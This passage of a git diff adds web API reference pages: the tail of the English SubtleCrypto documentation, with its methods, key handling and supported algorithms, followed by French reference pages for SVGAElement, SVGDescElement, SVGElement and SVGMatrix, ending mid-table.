+<p><em>This interface doesn't inherit any properties, as it has no parent interface.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any methods, as it has no parent interface.</em></p>
+
+<dl>
+ <dt>{{domxref("SubtleCrypto.encrypt()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fufills with the encrypted data corresponding to the clear text, algorithm, and key given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.decrypt()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with the clear data corresponding to the encrypted text, algorithm, and key given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.sign()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with the signature corresponding to the text, algorithm, and key given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.verify()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a {{jsxref("Boolean")}} value indicating if the signature given as a parameter matches the text, algorithm, and key that are also given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.digest()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a digest generated from the algorithm and text given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.generateKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a newly-generated {{domxref("CryptoKey")}}, for symmetrical algorithms, or a {{domxref("CryptoKeyPair")}}, containing two newly generated keys, for asymmetrical algorithms. These will match the algorithm, usages, and extractability given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a newly generated {{domxref("CryptoKey")}} derived from the master key and specific algorithm given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveBits()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a newly generated buffer of pseudo-random bits derived from the master key and specific algorithm given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.importKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a {{domxref("CryptoKey")}} corresponding to the format, the algorithm, raw key data, usages, and extractability given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.exportKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a buffer containing the key in the requested format.</dd>
+ <dt>{{domxref("SubtleCrypto.wrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a wrapped symmetric key for usage (transfer and storage) in insecure environments. The wrapped key matches the format specified in the given parameters, and wrapping is done by the given wrapping key, using the specified algorithm.</dd>
+ <dt>{{domxref("SubtleCrypto.unwrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that fulfills with a {{domxref("CryptoKey")}} corresponding to the wrapped key given in the parameter.</dd>
+</dl>
+
+<h2 id="Using_SubtleCrypto">Using SubtleCrypto</h2>
+
+<p>We can split the functions implemented by this API into two groups: cryptography functions and key management functions.</p>
+
+<h3 id="Cryptography_functions">Cryptography functions</h3>
+
+<p>These are the functions you can use to implement security features such as privacy and authentication in a system. The <code>SubtleCrypto</code> API provides the following cryptography functions:</p>
+
+<p>* {{DOMxRef("SubtleCrypto.sign","sign()")}} and {{DOMxRef("SubtleCrypto.verify","verify()")}}: create and verify digital signatures.<br>
+ * {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}} and {{DOMxRef("SubtleCrypto.decrypt","decrypt()")}}: encrypt and decrypt data.<br>
+ * {{DOMxRef("SubtleCrypto.digest","digest()")}}: create a fixed-length, collision-resistant digest of some data.</p>
+
+<h3 id="Key_management_functions">Key management functions</h3>
+
+<p>Except for {{DOMxRef("SubtleCrypto.digest","digest()")}}, all the cryptography functions in the API use cryptographic keys. In the <code>SubtleCrypto</code> API a cryptographic key is represented using a {{DOMxRef("CryptoKey","CryptoKey")}} object. To perform operations like signing and encrypting, you pass a {{DOMxRef("CryptoKey","CryptoKey")}} object into the {{DOMxRef("SubtleCrypto.sign","sign()")}} or {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}} function.</p>
+
+<h4 id="Generating_and_deriving_keys">Generating and deriving keys</h4>
+
+<p>The {{DOMxRef("SubtleCrypto.generateKey","generateKey()")}} and {{DOMxRef("SubtleCrypto.deriveKey","deriveKey()")}} functions both create a new {{DOMxRef("CryptoKey")}} object.</p>
+
+<p>The difference is that <code>generateKey()</code> will generate a new distinct key value each time you call it, while <code>deriveKey()</code> derives a key from some initial keying material. If you provide the same keying material to two separate calls to <code>deriveKey()</code>, you will get two <code>CryptoKey</code> objects that have the same underlying value. This is useful if, for example, you want to derive an encryption key from a password and later derive the same key from the same password to decrypt the data.</p>
+
+<h4 id="Importing_and_exporting_keys">Importing and exporting keys</h4>
+
+<p>To make keys available outside your app, you need to export the key, and that's what {{DOMxRef("SubtleCrypto.exportKey","exportKey()")}} is for. You can choose one of a number of export formats.</p>
+
+<p>The inverse of <code>exportKey()</code> is {{DOMxRef("SubtleCrypto.importKey","importKey()")}}. You can import keys from other systems, and support for standard formats like <a href="https://tools.ietf.org/html/rfc5208">PKCS #8</a> and <a href="https://tools.ietf.org/html/rfc7517">JSON Web Key</a> helps you do this. The <code>exportKey()</code> function exports the key in an unencrypted format.</p>
+
+<p>If the key is sensitive you should use {{DOMxRef("SubtleCrypto.wrapKey","wrapKey()")}}, which exports the key and then encrypts it using another key; the API calls a "key-wrapping key".</p>
+
+<p>The inverse of <code>wrapKey()</code> is {{DOMxRef("SubtleCrypto.unwrapKey","unwrapKey()")}}, which decrypts then imports the key.</p>
+
+<h4 id="Storing_keys">Storing keys</h4>
+
+<p><code>CryptoKey</code> objects can be stored using the <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured clone algorithm</a>, meaning that you can store and retrieve them using standard web storage APIs. The specification expects that most developers will use the <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a> to store <code>CryptoKey</code> objects.</p>
+
+<h3 id="Supported_algorithms">Supported algorithms</h3>
+
+<p>The cryptographic functions provided by the Web Crypto API can be performed by one or more different <em>cryptographic algorithms</em>: the <code>algorithm</code> argument to the function indicates which algorithm to use. Some algorithms need extra parameters: in these cases the <code>algorithm</code> argument is a dictionary object that includes the extra parameters.</p>
+
+<p>The table below summarises which algorithms are suitable for which cryptographic operations:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"></th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/sign">sign()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/verify">verify()</a></p>
+   </th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/encrypt">encrypt()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/decrypt">decrypt()</a></p>
+   </th>
+   <th scope="col"><a href="/en-US/docs/Web/API/SubtleCrypto/digest">digest()</a></th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/deriveBits">deriveBits()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/deriveKey">deriveKey()</a></p>
+   </th>
+   <th scope="col">
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/wrapKey">wrapKey()</a></p>
+
+    <p><a href="/en-US/docs/Web/API/SubtleCrypto/unwrapKey">unwrapKey()</a></p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">RSASSA-PKCS1-v1_5</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">RSA-PSS</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ECDSA</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HMAC</th>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">RSA-OAEP</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-CTR</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-CBC</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">AES-GCM</th>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-1</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-256</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-384</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">SHA-512</th>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">ECDH</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">HKDF</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">PBKDF2</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">AES-KW</th>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td>✓</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.SubtleCrypto")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Crypto_API">Web Crypto API</a></li>
+ <li><a href="/en-US/docs/Web/Security">Web security</a></li>
+ <li><a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a></li>
+ <li>{{domxref("Crypto")}} and {{domxref("Crypto.subtle")}}.</li>
+ <li><a href="https://www.crypto101.io/">Crypto 101</a>: an introductory course on cryptography.</li>
+</ul>
diff --git a/files/fr/web/api/svgaelement/index.html b/files/fr/web/api/svgaelement/index.html
new file mode 100644
index 0000000000..06d725d4ee
--- /dev/null
+++ b/files/fr/web/api/svgaelement/index.html
@@ -0,0 +1,107 @@
+---
+title: SVGAElement
+slug: Web/API/SVGAElement
+tags:
+  - API
+  - Reference
+  - SVG
+  - SVG DOM
+  - WebAPI
+translation_of: Web/API/SVGAElement
+---
+<h2 id="SVG_a_DOM_interface">SVG a DOM interface</h2>
+<p>L'interface <code>SVGAElement </code>fournit un accès aux propriétés des éléments {{ SVGElement("a") }} ainsi qu'aux méthodes pour les manipuler.</p>
+<h3 id="Interface_overview">Interface overview</h3>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Egalement implémenté</th>
+   <td>{{ domxref("SVGElement") }}, {{ domxref("SVGURIReference") }}, {{ domxref("SVGTests") }}, {{ domxref("SVGLangSpace") }}, {{ domxref("SVGExternalResourcesRequired") }}, {{ domxref("SVGStylable") }}, {{ domxref("SVGTransformable") }}</td>
+  </tr>
+  <tr>
+   <th scope="row">Methodes</th>
+   <td><em>Aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés</th>
+   <td>
+    <ul>
+     <li>lectureseule{{ domxref("SVGAnimatedString") }} <code>cible</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Document Normative</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#InterfaceSVGAElement" title="http://www.w3.org/TR/SVG11/linking.html#InterfaceSVGAElement">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Propriétés">Propriétés</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cible</code></td>
+   <td>{{ domxref("SVGAnimatedString") }}</td>
+   <td>Correspond à attribuer {{ SVGAttr("cible") }} sur l'élément {{ SVGElement("a") }} donné.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Methodes">Methodes</h2>
+<p>L'interface <code>SVGAElement</code> ne fournit aucune méthode spécifique.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caractéristiques</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Support basique</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>9.0</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Caractéristiques</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support basique</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="A_voir_aussi">A voir aussi</h2>
+<ul>
+ <li>{{ SVGElement("a") }} SVG Element</li>
+</ul>
diff --git a/files/fr/web/api/svgdescelement/index.html b/files/fr/web/api/svgdescelement/index.html
new file mode 100644
index 0000000000..3400126dfe
--- /dev/null
+++ b/files/fr/web/api/svgdescelement/index.html
@@ -0,0 +1,59 @@
+---
+title: SVGDescElement
+slug: Web/API/SVGDescElement
+tags:
+  - API
+  - Reference
+  - SVG
+  - SVG DOM
+translation_of: Web/API/SVGDescElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>L'interface <strong><code>SVGDescElement</code></strong> correspond à l'élément {{SVGElement("desc")}}.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés fournies par son parent {{domxref("SVGGeometryElement")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'a pas de méthode propre mais hérite des méthodes de son parent {{domxref("SVGGeometryElement")}}.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "struct.html#InterfaceSVGDescElement", "SVGDescElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Retrait de l'héritage depuis {{domxref("SVGLangSpace")}} et {{domxref("SVGStylable")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#InterfaceSVGDescElement", "SVGDescElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.SVGDescElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("desc")}}</li>
+</ul>
diff --git a/files/fr/web/api/svgelement/index.html b/files/fr/web/api/svgelement/index.html
new file mode 100644
index 0000000000..27685aa638
--- /dev/null
+++ b/files/fr/web/api/svgelement/index.html
@@ -0,0 +1,125 @@
+---
+title: SVGElement
+slug: Web/API/SVGElement
+tags:
+  - Reference
+translation_of: Web/API/SVGElement
+---
+<h2 id="Interface_d'élément_SVG">Interface d'élément SVG</h2>
+<p>Toutes les interfaces SVG DOM qui correspondent directement à des éléments du langage SVG dérivent de l'interface <code>SVGElement</code>.</p>
+<h3 id="Vue_d'ensemble_de_l'interface">Vue d'ensemble de l'interface</h3>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Implémente aussi</th>
+   <td>Voir l'interface générique DOM {{ domxref("Element") }}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Méthodes</th>
+   <td><em>Aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés</th>
+   <td>
+    <ul>
+     <li>readonly {{ domxref("DOMString") }} <code>id</code></li>
+     <li>readonly {{ domxref("DOMString") }} <code>xmlbase</code></li>
+     <li>readonly {{ domxref("SVGSVGElement") }} <code>ownerSVGElement</code></li>
+     <li>readonly {{ domxref("SVGElement") }} <code>viewportElement</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGElement" title="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGElement">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Properties">Properties</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>id</code></td>
+   <td>{{ domxref("DOMString") }}</td>
+   <td>La valeur de l'attribut {{ SVGAttr("id") }} de l'élément, ou une chaîne vide si <code>id</code> n'est pas présent.</td>
+  </tr>
+  <tr>
+   <td><code>xmlbase</code></td>
+   <td>{{ domxref("DOMString") }}</td>
+   <td>Correspond à l'attribut {{ SVGAttr("xml:base") }} de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>ownerSVGElement</code></td>
+   <td>{{ domxref("SVGSVGElement") }}</td>
+   <td>
+    <p>L'élément {{ SVGElement("svg") }} parent le plus près. <code>Null</code> si l'élément est l'élément svg le plus à l'extérieur.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>viewportElement</code></td>
+   <td>{{ domxref("SVGElement") }}</td>
+   <td>
+    <p>L'élément qui a établi la fenêtre actuelle. Souvent l'élément parent {{ SVGElement("svg") }} le plus prêt. <code>Null</code> si l'élément est l'élément svg le plus à l'extérieur.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Méthodes">Méthodes</h2>
+<p>L'interface <code>SVGElement</code> ne possède aucune méthode spécifique.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonction</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>9.0</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Fonction</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Support de base</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>Référence DOM {{ SVGElement("element") }}</li>
+</ul>
diff --git a/files/fr/web/api/svgmatrix/index.html b/files/fr/web/api/svgmatrix/index.html
new file mode 100644
index 0000000000..98af82ee66
--- /dev/null
+++ b/files/fr/web/api/svgmatrix/index.html
@@ -0,0 +1,268 @@
+---
+title: SVGMatrix
+slug: Web/API/SVGMatrix
+tags:
+  - Matrice
+  - Reference
+translation_of: Web/API/SVGMatrix
+---
+<h2 id="Interface_SVG_matrix">Interface SVG matrix</h2>
+
+<p>Beaucoup d'opération graphiques de SVG utilisent des matrices 2x3 de la forme :</p>
+
+<pre>[a c e]
+[b d f]</pre>
+
+<p>laquelle, quand étendue en une matrice 3x3 à des fins d'arithmétique matricielle, devient :</p>
+
+<pre>[a c e]
+[b d f]
+[0 0 1]
+</pre>
+
+<p>Un objet <code>SVGMatrix</code> peut être marqué en lecture-seule, ce qui signifie que les tentatives de modification sur cet objet entraîneront un lancement d'exception.</p>
+
+<h3 id="Vue_d'ensemble_de_l'interface">Vue d'ensemble de l'interface</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Implémente aussi</th>
+   <td><em>Aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Méthodes</th>
+   <td>
+    <ul>
+     <li>{{ domxref("SVGMatrix") }} <code>multiply(in {{ domxref("SVGMatrix") }} <em>secondMatrix</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>inverse()</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>translate(in float <em>x</em>, in float <em>y</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>scale(in float <em>scaleFactor</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>scaleNonUniform(in float <span style="font-style: italic;">scaleFactorX</span>, in float <em>scaleFactorY</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>rotate(in float<code> <em>angle</em>)</code></code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>rotateFromVector(in float <em>x</em>, in float <em>y</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>flipX()</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>flipY()</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>skewX(in float <em>angle</em>)</code></li>
+     <li>{{ domxref("SVGMatrix") }} <code>skewY(in float <em>angle</em>)</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés</th>
+   <td>
+    <ul>
+     <li>float <code>a</code></li>
+     <li>float <code>b</code></li>
+     <li>float <code>c</code></li>
+     <li>float <code>d</code></li>
+     <li>float <code>e</code></li>
+     <li>float <code>f</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/coords.html#InterfaceSVGMatrix" title="http://www.w3.org/TR/SVG/coords.html#InterfaceSVGMatrix">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>a</code></td>
+   <td>float</td>
+   <td>Le composant <em>a</em> de la matrice.</td>
+  </tr>
+  <tr>
+   <td><code>b</code></td>
+   <td>float</td>
+   <td>Le composant <em>b</em> de la matrice.</td>
+  </tr>
+  <tr>
+   <td><code>c</code></td>
+   <td>float</td>
+   <td>Le composant <span style="font-style: italic;">c</span> de la matrice.</td>
+  </tr>
+  <tr>
+   <td><code>d</code></td>
+   <td>float</td>
+   <td>Le composant <em>d</em> de la matrice.</td>
+  </tr>
+  <tr>
+   <td><code>e</code></td>
+   <td>float</td>
+   <td>Le composant <em>e</em> de la matrice.</td>
+  </tr>
+  <tr>
+   <td><code>f</code></td>
+   <td>float</td>
+   <td>Le composant <em>f</em> de la matrice.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Une {{ domxref("DOMException") }} avec le code <code>NO_MODIFICATION_ALLOWED_ERR</code> est levée lors d'une tentative de modification d'un attribut en lecture-seule ou quand l'objet lui-même est en lecture-seule.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom &amp; Arguments</th>
+   <th>Retourne</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><strong>multiply</strong>(in {{ domxref("SVGMatrix") }} <em>secondMatrix</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>Effectue une multiplication de matrices. Cette matrice est multipliée par une autre matrice, retournant la nouvelle matrice résultante.</td>
+  </tr>
+  <tr>
+   <td><code><strong>inverse</strong>()</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <p>Retourne la matrice inverse.</p>
+
+    <p><strong>Exceptions :</strong></p>
+
+    <ul>
+     <li>une {{ domxref("DOMException") }} avec le code <code>SVG_MATRIX_NOT_INVERTABLE</code> est levée si la matrice n'est pas inversible.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>translate</strong>(in float <em>x</em>, in float <em>y</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une translation sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>scale</strong>(in float <em>scaleFactor</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une mise à l'échelle uniforme sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>scaleNonUniform</strong>(in float <em>scaleFactorX</em>, in float <em>scaleFactorY</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une mise à l'échelle non-uniforme sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>rotate</strong>(in float <em>angle</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une rotation sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>rotateFromVector</strong>(in float <em>x</em>, in float <em>y</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <p>Effectue une rotation sur la matrice courante et retourne la matrice résultante. L'angle de rotation est déterminé en prenant (+/-) atan(y/x). La direction du vecteur (x, y) détermine si la valeur négative ou positive de l'angle est utilisée.</p>
+
+    <p><strong>Exceptions :</strong></p>
+
+    <ul>
+     <li>une {{ domxref("DOMException") }} avec le code <code>SVG_INVALID_VALUE_ERR </code>est levée si un de ces paramètres a une valeur invalide.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>flipX</strong>()</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une transformation [-1 0 0 1 0 0] et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>flipY</strong>()</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une transformation [1 0 0 -1 0 0] et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>skewX</strong>(in float <em>angle</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une transformation de skewX sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code><strong>skewY</strong>(in float <em>angle</em>)</code></td>
+   <td>{{ domxref("SVGMatrix") }}</td>
+   <td>
+    <div>Effectue une transformation de skewY sur la matrice courante et retourne la matrice résultante.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>9</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
